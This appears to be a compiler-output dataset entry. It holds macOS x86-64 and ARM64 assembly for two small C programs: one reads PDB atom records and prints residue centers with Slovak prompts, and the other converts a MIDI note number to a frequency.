movq _atoms@GOTPCREL(%rip), %rax
imulq $80, %rcx, %rcx
addq %rcx, %rax
movl 44(%rax), %ecx
movslq _pocet_resid(%rip), %rdx
movq _resid@GOTPCREL(%rip), %rax
shlq $4, %rdx
addq %rdx, %rax
movl %ecx, 8(%rax)
movslq _pocet_resid(%rip), %rax
movq _resid@GOTPCREL(%rip), %rdi
shlq $4, %rax
addq %rax, %rdi
addq $12, %rdi
movslq -8(%rbp), %rax
movq _atoms@GOTPCREL(%rip), %rsi
imulq $80, %rax, %rax
addq %rax, %rsi
addq $40, %rsi
movq $-1, %rdx
callq ___strcpy_chk
movl -8(%rbp), %ecx
movslq _pocet_resid(%rip), %rdx
movq _resid@GOTPCREL(%rip), %rax
shlq $4, %rdx
addq %rdx, %rax
movl %ecx, (%rax)
jmp LBB0_8
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
movslq _pocet_resid(%rip), %rcx
movq _resid@GOTPCREL(%rip), %rax
shlq $4, %rcx
addq %rcx, %rax
movl 8(%rax), %eax
movslq -8(%rbp), %rdx
movq _atoms@GOTPCREL(%rip), %rcx
imulq $80, %rdx, %rdx
addq %rdx, %rcx
cmpl 44(%rcx), %eax
je LBB0_6
## %bb.5: ## in Loop: Header=BB0_1 Depth=1
movl -8(%rbp), %ecx
subl $1, %ecx
movslq _pocet_resid(%rip), %rdx
movq _resid@GOTPCREL(%rip), %rax
shlq $4, %rdx
addq %rdx, %rax
movl %ecx, 4(%rax)
movl _pocet_resid(%rip), %eax
addl $1, %eax
movl %eax, _pocet_resid(%rip)
movslq -8(%rbp), %rcx
movq _atoms@GOTPCREL(%rip), %rax
imulq $80, %rcx, %rcx
addq %rcx, %rax
movl 44(%rax), %ecx
movslq _pocet_resid(%rip), %rdx
movq _resid@GOTPCREL(%rip), %rax
shlq $4, %rdx
addq %rdx, %rax
movl %ecx, 8(%rax)
movslq _pocet_resid(%rip), %rax
movq _resid@GOTPCREL(%rip), %rdi
shlq $4, %rax
addq %rax, %rdi
addq $12, %rdi
movslq -8(%rbp), %rax
movq _atoms@GOTPCREL(%rip), %rsi
imulq $80, %rax, %rax
addq %rax, %rsi
addq $40, %rsi
movq $-1, %rdx
callq ___strcpy_chk
movl -8(%rbp), %ecx
movslq _pocet_resid(%rip), %rdx
movq _resid@GOTPCREL(%rip), %rax
shlq $4, %rdx
addq %rdx, %rax
movl %ecx, (%rax)
jmp LBB0_7
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
movl -8(%rbp), %ecx
movslq _pocet_resid(%rip), %rdx
movq _resid@GOTPCREL(%rip), %rax
shlq $4, %rdx
addq %rdx, %rax
movl %ecx, 4(%rax)
LBB0_7: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_8
LBB0_8: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_9
LBB0_9: ## in Loop: Header=BB0_1 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB0_1
LBB0_10:
callq _center
movl -4(%rbp), %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _center ## -- Begin function center
.p2align 4, 0x90
_center: ## @center
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
movl $0, -8(%rbp)
movl $0, -12(%rbp)
xorps %xmm0, %xmm0
movsd %xmm0, -24(%rbp)
xorps %xmm0, %xmm0
movsd %xmm0, -32(%rbp)
xorps %xmm0, %xmm0
movsd %xmm0, -40(%rbp)
xorps %xmm0, %xmm0
movsd %xmm0, -48(%rbp)
xorps %xmm0, %xmm0
movsd %xmm0, -56(%rbp)
xorps %xmm0, %xmm0
movsd %xmm0, -64(%rbp)
movl $0, -68(%rbp)
movw L___const.center.bezvodik(%rip), %ax
movw %ax, -70(%rbp)
movl $0, -8(%rbp)
LBB1_1: ## =>This Loop Header: Depth=1
## Child Loop BB1_3 Depth 2
movl -8(%rbp), %eax
cmpl _pocet_resid(%rip), %eax
jge LBB1_10
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
xorps %xmm0, %xmm0
movsd %xmm0, -48(%rbp)
xorps %xmm0, %xmm0
movsd %xmm0, -56(%rbp)
xorps %xmm0, %xmm0
movsd %xmm0, -64(%rbp)
xorps %xmm0, %xmm0
movsd %xmm0, -24(%rbp)
xorps %xmm0, %xmm0
movsd %xmm0, -32(%rbp)
xorps %xmm0, %xmm0
movsd %xmm0, -40(%rbp)
movl $0, -68(%rbp)
movslq -8(%rbp), %rcx
movq _resid@GOTPCREL(%rip), %rax
shlq $4, %rcx
addq %rcx, %rax
movl (%rax), %eax
movl %eax, -12(%rbp)
LBB1_3: ## Parent Loop BB1_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -12(%rbp), %eax
movslq -8(%rbp), %rdx
movq _resid@GOTPCREL(%rip), %rcx
shlq $4, %rdx
addq %rdx, %rcx
cmpl 4(%rcx), %eax
jg LBB1_8
## %bb.4: ## in Loop: Header=BB1_3 Depth=2
movslq -12(%rbp), %rax
movq _atoms@GOTPCREL(%rip), %rdi
imulq $80, %rax, %rax
addq %rax, %rdi
addq $72, %rdi
leaq -70(%rbp), %rsi
callq _strstr
cmpq $0, %rax
jne LBB1_6
## %bb.5: ## in Loop: Header=BB1_3 Depth=2
movslq -12(%rbp), %rcx
movq _atoms@GOTPCREL(%rip), %rax
imulq $80, %rcx, %rcx
addq %rcx, %rax
movsd 48(%rax), %xmm0 ## xmm0 = mem[0],zero
addsd -48(%rbp), %xmm0
movsd %xmm0, -48(%rbp)
movslq -12(%rbp), %rcx
movq _atoms@GOTPCREL(%rip), %rax
imulq $80, %rcx, %rcx
addq %rcx, %rax
movsd 56(%rax), %xmm0 ## xmm0 = mem[0],zero
addsd -56(%rbp), %xmm0
movsd %xmm0, -56(%rbp)
movslq -12(%rbp), %rcx
movq _atoms@GOTPCREL(%rip), %rax
imulq $80, %rcx, %rcx
addq %rcx, %rax
movsd 64(%rax), %xmm0 ## xmm0 = mem[0],zero
addsd -64(%rbp), %xmm0
movsd %xmm0, -64(%rbp)
movl -68(%rbp), %eax
addl $1, %eax
movl %eax, -68(%rbp)
LBB1_6: ## in Loop: Header=BB1_3 Depth=2
jmp LBB1_7
LBB1_7: ## in Loop: Header=BB1_3 Depth=2
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB1_3
LBB1_8: ## in Loop: Header=BB1_1 Depth=1
movsd -48(%rbp), %xmm0 ## xmm0 = mem[0],zero
cvtsi2sdl -68(%rbp), %xmm1
divsd %xmm1, %xmm0
movsd %xmm0, -24(%rbp)
movsd -56(%rbp), %xmm0 ## xmm0 = mem[0],zero
cvtsi2sdl -68(%rbp), %xmm1
divsd %xmm1, %xmm0
movsd %xmm0, -32(%rbp)
movsd -64(%rbp), %xmm0 ## xmm0 = mem[0],zero
cvtsi2sdl -68(%rbp), %xmm1
divsd %xmm1, %xmm0
movsd %xmm0, -40(%rbp)
movslq -8(%rbp), %rcx
movq _resid@GOTPCREL(%rip), %rax
shlq $4, %rcx
addq %rcx, %rax
movl 8(%rax), %esi
movslq -8(%rbp), %rax
movq _resid@GOTPCREL(%rip), %rdx
shlq $4, %rax
addq %rax, %rdx
addq $12, %rdx
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd -32(%rbp), %xmm1 ## xmm1 = mem[0],zero
movsd -40(%rbp), %xmm2 ## xmm2 = mem[0],zero
leaq L_.str(%rip), %rdi
movb $3, %al
callq _printf
## %bb.9: ## in Loop: Header=BB1_1 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB1_1
LBB1_10:
movl -4(%rbp), %eax
addq $80, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _nacitanie ## -- Begin function nacitanie
.p2align 4, 0x90
_nacitanie: ## @nacitanie
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $1072, %rsp ## imm = 0x430
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq %rdi, -1056(%rbp)
leaq -1008(%rbp), %rdi
xorl %esi, %esi
movl $1000, %edx ## imm = 0x3E8
callq _memset
leaq -1040(%rbp), %rdi
xorl %esi, %esi
movl $30, %edx
callq _memset
movq $0, -1064(%rbp)
movq -1056(%rbp), %rdi
leaq L_.str.1(%rip), %rsi
callq _fopen
movq %rax, -1064(%rbp)
cmpq $0, -1064(%rbp)
jne LBB2_2
## %bb.1:
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movl $1, -1044(%rbp)
jmp LBB2_13
LBB2_2:
jmp LBB2_3
LBB2_3: ## =>This Inner Loop Header: Depth=1
movq -1064(%rbp), %rdi
callq _feof
cmpl $0, %eax
jne LBB2_12
## %bb.4: ## in Loop: Header=BB2_3 Depth=1
cmpl $100000, _pocet_atomov(%rip) ## imm = 0x186A0
jl LBB2_6
## %bb.5:
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB2_12
LBB2_6: ## in Loop: Header=BB2_3 Depth=1
leaq -1008(%rbp), %rdi
xorl %esi, %esi
movl $1000, %edx ## imm = 0x3E8
callq _memset
leaq -1008(%rbp), %rdi
movq -1064(%rbp), %rdx
movl $1000, %esi ## imm = 0x3E8
callq _fgets
cmpq $0, %rax
jne LBB2_8
## %bb.7:
jmp LBB2_12
LBB2_8: ## in Loop: Header=BB2_3 Depth=1
leaq -1008(%rbp), %rdi
leaq L_.str.4(%rip), %rsi
movl $4, %edx
callq _strncmp
cmpl $0, %eax
je LBB2_10
## %bb.9: ## in Loop: Header=BB2_3 Depth=1
leaq -1008(%rbp), %rdi
leaq L_.str.5(%rip), %rsi
movl $6, %edx
callq _strncmp
cmpl $0, %eax
jne LBB2_11
LBB2_10: ## in Loop: Header=BB2_3 Depth=1
movslq _pocet_atomov(%rip), %rax
movq _atoms@GOTPCREL(%rip), %rdi
imulq $80, %rax, %rax
addq %rax, %rdi
leaq -1008(%rbp), %rsi
movl $6, %edx
movl $7, %ecx
callq ___strncpy_chk
movslq _pocet_atomov(%rip), %rcx
movq _atoms@GOTPCREL(%rip), %rax
imulq $80, %rcx, %rcx
addq %rcx, %rax
movb $0, 6(%rax)
leaq -1040(%rbp), %rdi
leaq -1008(%rbp), %rsi
addq $6, %rsi
movl $5, %edx
movl $30, %ecx
callq ___strncpy_chk
movb $0, -1035(%rbp)
leaq -1040(%rbp), %rdi
movslq _pocet_atomov(%rip), %rax
movq _atoms@GOTPCREL(%rip), %rdx
imulq $80, %rax, %rax
addq %rax, %rdx
addq $8, %rdx
leaq L_.str.6(%rip), %rsi
movb $0, %al
callq _sscanf
movslq _pocet_atomov(%rip), %rax
movq _atoms@GOTPCREL(%rip), %rdi
imulq $80, %rax, %rax
addq %rax, %rdi
addq $12, %rdi
leaq -1008(%rbp), %rsi
addq $12, %rsi
movl $4, %edx
movl $5, %ecx
callq ___strncpy_chk
movslq _pocet_atomov(%rip), %rcx
movq _atoms@GOTPCREL(%rip), %rax
imulq $80, %rcx, %rcx
addq %rcx, %rax
movb $0, 16(%rax)
movb -992(%rbp), %cl
movslq _pocet_atomov(%rip), %rdx
movq _atoms@GOTPCREL(%rip), %rax
imulq $80, %rdx, %rdx
addq %rdx, %rax
movb %cl, 17(%rax)
movslq _pocet_atomov(%rip), %rax
movq _atoms@GOTPCREL(%rip), %rdi
imulq $80, %rax, %rax
addq %rax, %rdi
addq $40, %rdi
leaq -1008(%rbp), %rsi
addq $17, %rsi
movl $3, %edx
movl $4, %ecx
callq ___strncpy_chk
movslq _pocet_atomov(%rip), %rcx
movq _atoms@GOTPCREL(%rip), %rax
imulq $80, %rcx, %rcx
addq %rcx, %rax
movb $0, 43(%rax)
movb -987(%rbp), %cl
movslq _pocet_atomov(%rip), %rdx
movq _atoms@GOTPCREL(%rip), %rax
imulq $80, %rdx, %rdx
addq %rdx, %rax
movb %cl, 18(%rax)
leaq -1040(%rbp), %rdi
leaq -1008(%rbp), %rsi
addq $22, %rsi
movl $4, %edx
movl $30, %ecx
callq ___strncpy_chk
movb $0, -1036(%rbp)
leaq -1040(%rbp), %rdi
movslq _pocet_atomov(%rip), %rax
movq _atoms@GOTPCREL(%rip), %rdx
imulq $80, %rax, %rax
addq %rax, %rdx
addq $44, %rdx
leaq L_.str.6(%rip), %rsi
movb $0, %al
callq _sscanf
movb -982(%rbp), %cl
movslq _pocet_atomov(%rip), %rdx
movq _atoms@GOTPCREL(%rip), %rax
imulq $80, %rdx, %rdx
addq %rdx, %rax
movb %cl, 19(%rax)
leaq -1040(%rbp), %rdi
leaq -1008(%rbp), %rsi
addq $30, %rsi
movl $8, %edx
movl $30, %ecx
callq ___strncpy_chk
movb $0, -1032(%rbp)
leaq -1040(%rbp), %rdi
movslq _pocet_atomov(%rip), %rax
movq _atoms@GOTPCREL(%rip), %rdx
imulq $80, %rax, %rax
addq %rax, %rdx
addq $48, %rdx
leaq L_.str.7(%rip), %rsi
movb $0, %al
callq _sscanf
leaq -1040(%rbp), %rdi
leaq -1008(%rbp), %rsi
addq $38, %rsi
movl $8, %edx
movl $30, %ecx
callq ___strncpy_chk
movb $0, -1032(%rbp)
leaq -1040(%rbp), %rdi
movslq _pocet_atomov(%rip), %rax
movq _atoms@GOTPCREL(%rip), %rdx
imulq $80, %rax, %rax
addq %rax, %rdx
addq $56, %rdx
leaq L_.str.7(%rip), %rsi
movb $0, %al
callq _sscanf
leaq -1040(%rbp), %rdi
leaq -1008(%rbp), %rsi
addq $46, %rsi
movl $8, %edx
movl $30, %ecx
callq ___strncpy_chk
movb $0, -1032(%rbp)
leaq -1040(%rbp), %rdi
movslq _pocet_atomov(%rip), %rax
movq _atoms@GOTPCREL(%rip), %rdx
imulq $80, %rax, %rax
addq %rax, %rdx
addq $64, %rdx
leaq L_.str.7(%rip), %rsi
movb $0, %al
callq _sscanf
leaq -1040(%rbp), %rdi
leaq -1008(%rbp), %rsi
addq $54, %rsi
movl $6, %edx
movl $30, %ecx
callq ___strncpy_chk
movb $0, -1034(%rbp)
leaq -1040(%rbp), %rdi
movslq _pocet_atomov(%rip), %rax
movq _atoms@GOTPCREL(%rip), %rdx
imulq $80, %rax, %rax
addq %rax, %rdx
addq $24, %rdx
leaq L_.str.7(%rip), %rsi
movb $0, %al
callq _sscanf
leaq -1040(%rbp), %rdi
leaq -1008(%rbp), %rsi
addq $60, %rsi
movl $6, %edx
movl $30, %ecx
callq ___strncpy_chk
movb $0, -1034(%rbp)
leaq -1040(%rbp), %rdi
movslq _pocet_atomov(%rip), %rax
movq _atoms@GOTPCREL(%rip), %rdx
imulq $80, %rax, %rax
addq %rax, %rdx
addq $32, %rdx
leaq L_.str.7(%rip), %rsi
movb $0, %al
callq _sscanf
movslq _pocet_atomov(%rip), %rax
movq _atoms@GOTPCREL(%rip), %rdi
imulq $80, %rax, %rax
addq %rax, %rdi
addq $72, %rdi
leaq -1008(%rbp), %rsi
addq $76, %rsi
movl $2, %edx
movl $3, %ecx
callq ___strncpy_chk
movslq _pocet_atomov(%rip), %rcx
movq _atoms@GOTPCREL(%rip), %rax
imulq $80, %rcx, %rcx
addq %rcx, %rax
movb $0, 74(%rax)
movslq _pocet_atomov(%rip), %rax
movq _atoms@GOTPCREL(%rip), %rdi
imulq $80, %rax, %rax
addq %rax, %rdi
addq $75, %rdi
leaq -1008(%rbp), %rsi
addq $78, %rsi
movl $2, %edx
movq $-1, %rcx
callq ___strncpy_chk
movslq _pocet_atomov(%rip), %rcx
movq _atoms@GOTPCREL(%rip), %rax
imulq $80, %rcx, %rcx
addq %rcx, %rax
movb $0, 77(%rax)
movl _pocet_atomov(%rip), %eax
addl $1, %eax
movl %eax, _pocet_atomov(%rip)
LBB2_11: ## in Loop: Header=BB2_3 Depth=1
jmp LBB2_3
LBB2_12:
movq -1064(%rbp), %rdi
callq _fclose
movl $0, -1044(%rbp)
LBB2_13:
movl -1044(%rbp), %eax
movl %eax, -1068(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB2_15
## %bb.14:
movl -1068(%rbp), %eax ## 4-byte Reload
addq $1072, %rsp ## imm = 0x430
popq %rbp
retq
LBB2_15:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _zapis ## -- Begin function zapis
.p2align 4, 0x90
_zapis: ## @zapis
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq %rdi, -16(%rbp)
movq $0, -24(%rbp)
movl $0, -28(%rbp)
movq -16(%rbp), %rdi
leaq L_.str.8(%rip), %rsi
callq _fopen
movq %rax, -24(%rbp)
cmpq $0, -24(%rbp)
jne LBB3_2
## %bb.1:
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movl $1, -4(%rbp)
jmp LBB3_7
LBB3_2:
movl $0, -28(%rbp)
LBB3_3: ## =>This Inner Loop Header: Depth=1
movl -28(%rbp), %eax
cmpl _pocet_atomov(%rip), %eax
jge LBB3_6
## %bb.4: ## in Loop: Header=BB3_3 Depth=1
movq -24(%rbp), %rdi
movslq -28(%rbp), %rax
movq _atoms@GOTPCREL(%rip), %rdx
imulq $80, %rax, %rax
addq %rax, %rdx
movslq -28(%rbp), %rcx
movq _atoms@GOTPCREL(%rip), %rax
imulq $80, %rcx, %rcx
addq %rcx, %rax
movl 8(%rax), %ecx
movslq -28(%rbp), %rax
movq _atoms@GOTPCREL(%rip), %r8
imulq $80, %rax, %rax
addq %rax, %r8
addq $12, %r8
movslq -28(%rbp), %rax
movq _atoms@GOTPCREL(%rip), %r9
imulq $80, %rax, %rax
addq %rax, %r9
addq $40, %r9
movslq -28(%rbp), %rsi
movq _atoms@GOTPCREL(%rip), %rax
imulq $80, %rsi, %rsi
addq %rsi, %rax
movl 44(%rax), %r10d
movslq -28(%rbp), %rsi
movq _atoms@GOTPCREL(%rip), %rax
imulq $80, %rsi, %rsi
addq %rsi, %rax
movsd 48(%rax), %xmm0 ## xmm0 = mem[0],zero
movslq -28(%rbp), %rsi
movq _atoms@GOTPCREL(%rip), %rax
imulq $80, %rsi, %rsi
addq %rsi, %rax
movsd 56(%rax), %xmm1 ## xmm1 = mem[0],zero
movslq -28(%rbp), %rsi
movq _atoms@GOTPCREL(%rip), %rax
imulq $80, %rsi, %rsi
addq %rsi, %rax
movsd 64(%rax), %xmm2 ## xmm2 = mem[0],zero
movslq -28(%rbp), %rsi
movq _atoms@GOTPCREL(%rip), %rax
imulq $80, %rsi, %rsi
addq %rsi, %rax
addq $72, %rax
leaq L_.str.9(%rip), %rsi
movl %r10d, (%rsp)
movq %rax, 8(%rsp)
movb $3, %al
callq _fprintf
## %bb.5: ## in Loop: Header=BB3_3 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB3_3
LBB3_6:
movq -24(%rbp), %rdi
callq _fclose
movl $0, -4(%rbp)
LBB3_7:
movl -4(%rbp), %eax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $200032, %eax ## imm = 0x30D60
callq ____chkstk_darwin
subq %rax, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -200020(%rbp)
movl %edi, -200024(%rbp)
movq %rsi, -200032(%rbp)
leaq -100016(%rbp), %rdi
xorl %esi, %esi
movl $100000, %edx ## imm = 0x186A0
callq _memset
leaq -200016(%rbp), %rdi
xorl %esi, %esi
movl $100000, %edx ## imm = 0x186A0
callq _memset
cmpl $1, -200024(%rbp)
jle LBB4_2
## %bb.1:
movq -200032(%rbp), %rax
movq 8(%rax), %rdi
callq _nacitanie
movq -200032(%rbp), %rax
movq 16(%rax), %rdi
callq _zapis
jmp LBB4_3
LBB4_2:
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
leaq -100016(%rbp), %rsi
leaq L_.str.11(%rip), %rdi
movb $0, %al
callq _scanf
leaq -100016(%rbp), %rdi
callq _nacitanie
leaq L_.str.12(%rip), %rdi
movb $0, %al
callq _printf
leaq -200016(%rbp), %rsi
leaq L_.str.11(%rip), %rdi
movb $0, %al
callq _scanf
leaq -200016(%rbp), %rdi
callq _zapis
LBB4_3:
callq _residue
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB4_5
## %bb.4:
xorl %eax, %eax
addq $200032, %rsp ## imm = 0x30D60
popq %rbp
retq
LBB4_5:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _pocet_resid ## @pocet_resid
.zerofill __DATA,__common,_pocet_resid,4,2
.globl _pocet_atomov ## @pocet_atomov
.zerofill __DATA,__common,_pocet_atomov,4,2
.comm _atoms,8000000,4 ## @atoms
.comm _resid,1600000,4 ## @resid
.section __TEXT,__cstring,cstring_literals
L___const.center.bezvodik: ## @__const.center.bezvodik
.asciz "H"
L_.str: ## @.str
.asciz "Residium: % 4d %-3.3s, center: %.2f %.2f %.2f\n"
L_.str.1: ## @.str.1
.asciz "r"
L_.str.2: ## @.str.2
.asciz "Neda sa otvorit subor!\n"
L_.str.3: ## @.str.3
.asciz "Male pole!\n"
L_.str.4: ## @.str.4
.asciz "ATOM"
L_.str.5: ## @.str.5
.asciz "HETATM"
L_.str.6: ## @.str.6
.asciz "%d"
L_.str.7: ## @.str.7
.asciz "%lf"
L_.str.8: ## @.str.8
.asciz "w"
L_.str.9: ## @.str.9
.asciz "%-6.6s %5d %-4.4s %3s %4d %8.3f %8.3f %8.3f %2.2s\n"
L_.str.10: ## @.str.10
.asciz "Zadajte nazov suboru pre nacitanie: \n"
L_.str.11: ## @.str.11
.asciz "%s"
L_.str.12: ## @.str.12
.asciz "Zadajte nazov suboru pre zapis: \n"
.subsections_via_symbols
| the_stack_data/99781.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ; -- Begin function main
lCPI0_0:
.quad 0x406b800000000000 ; double 220
lCPI0_1:
.quad 0x3fb5555555555555 ; double 0.083333333333333329
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #400
.cfi_def_cfa_offset 400
stp x28, x27, [sp, #368] ; 16-byte Folded Spill
stp x29, x30, [sp, #384] ; 16-byte Folded Spill
add x29, sp, #384
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [sp, #100]
fmov d0, #2.00000000
adrp x8, lCPI0_1@PAGE
ldr d1, [x8, lCPI0_1@PAGEOFF]
bl _pow
str d0, [sp, #72]
ldr d0, [sp, #72]
fmov d1, #3.00000000
bl _pow
fmov d1, d0
adrp x8, lCPI0_0@PAGE
ldr d0, [x8, lCPI0_0@PAGEOFF]
fmul d0, d0, d1
str d0, [sp, #88]
ldr d0, [sp, #88]
str d0, [sp, #40] ; 8-byte Folded Spill
fmov d0, #0.50000000
fmov d1, #5.00000000
bl _pow
fmov d1, d0
ldr d0, [sp, #40] ; 8-byte Folded Reload
fmul d0, d0, d1
str d0, [sp, #80]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
add x0, sp, #104
bl _gets
str x0, [sp, #48]
ldr x8, [sp, #48]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
mov w8, #1
str w8, [sp, #100]
b LBB0_9
LBB0_2:
ldrsb w8, [sp, #104]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
mov w8, #1
str w8, [sp, #100]
b LBB0_9
LBB0_4:
add x0, sp, #104
bl _atoi
str w0, [sp, #60]
ldr w8, [sp, #60]
subs w8, w8, #0
cset w8, gt
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5:
mov x9, sp
add x8, sp, #104
str x8, [x9]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
mov w8, #1
str w8, [sp, #100]
b LBB0_9
LBB0_6:
ldr w8, [sp, #60]
subs w8, w8, #127
cset w8, le
tbnz w8, #0, LBB0_8
b LBB0_7
LBB0_7:
mov x9, sp
add x8, sp, #104
str x8, [x9]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
mov w8, #1
str w8, [sp, #100]
b LBB0_9
LBB0_8:
ldr d0, [sp, #80]
str d0, [sp, #32] ; 8-byte Folded Spill
ldr d0, [sp, #72]
ldr s2, [sp, #60]
; implicit-def: $d1
fmov s1, s2
sshll.2d v1, v1, #0
; kill: def $d1 killed $d1 killed $q1
scvtf d1, d1
bl _pow
fmov d1, d0
ldr d0, [sp, #32] ; 8-byte Folded Reload
fmul d0, d0, d1
str d0, [sp, #64]
ldr w8, [sp, #60]
; implicit-def: $x9
mov x9, x8
ldr d0, [sp, #64]
mov x8, sp
str x9, [x8]
str d0, [x8, #8]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
str wzr, [sp, #100]
b LBB0_9
LBB0_9:
ldr w8, [sp, #100]
str w8, [sp, #28] ; 4-byte Folded Spill
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_11
b LBB0_10
LBB0_10:
bl ___stack_chk_fail
LBB0_11:
ldr w0, [sp, #28] ; 4-byte Folded Reload
ldp x29, x30, [sp, #384] ; 16-byte Folded Reload
ldp x28, x27, [sp, #368] ; 16-byte Folded Reload
add sp, sp, #400
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Enter MIDI note (0 - 127): "
l_.str.1: ; @.str.1
.asciz "There was an error reading the input.\n"
l_.str.2: ; @.str.2
.asciz "Have a nice day!\n"
l_.str.3: ; @.str.3
.asciz "Sorry - %s is a bad MIDI note number\n"
l_.str.4: ; @.str.4
.asciz "Sorry - %s is beyond the MIDI range!\n"
l_.str.5: ; @.str.5
.asciz "frequency of MIDI note %d = %f\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function main
LCPI0_0:
.quad 0x3fe0000000000000 ## double 0.5
LCPI0_1:
.quad 0x4014000000000000 ## double 5
LCPI0_2:
.quad 0x406b800000000000 ## double 220
LCPI0_3:
.quad 0x4008000000000000 ## double 3
LCPI0_4:
.quad 0x4000000000000000 ## double 2
LCPI0_5:
.quad 0x3fb5555555555555 ## double 0.083333333333333329
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $352, %rsp ## imm = 0x160
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -276(%rbp)
movsd LCPI0_4(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd LCPI0_5(%rip), %xmm1 ## xmm1 = mem[0],zero
callq _pow
movsd %xmm0, -304(%rbp)
movsd -304(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd LCPI0_3(%rip), %xmm1 ## xmm1 = mem[0],zero
callq _pow
movaps %xmm0, %xmm1
movsd LCPI0_2(%rip), %xmm0 ## xmm0 = mem[0],zero
mulsd %xmm1, %xmm0
movsd %xmm0, -288(%rbp)
movsd -288(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -336(%rbp) ## 8-byte Spill
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd LCPI0_1(%rip), %xmm1 ## xmm1 = mem[0],zero
callq _pow
movaps %xmm0, %xmm1
movsd -336(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
mulsd %xmm1, %xmm0
movsd %xmm0, -296(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq -272(%rbp), %rdi
callq _gets
movq %rax, -328(%rbp)
cmpq $0, -328(%rbp)
jne LBB0_2
## %bb.1:
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movl $1, -276(%rbp)
jmp LBB0_9
LBB0_2:
movsbl -272(%rbp), %eax
cmpl $0, %eax
jne LBB0_4
## %bb.3:
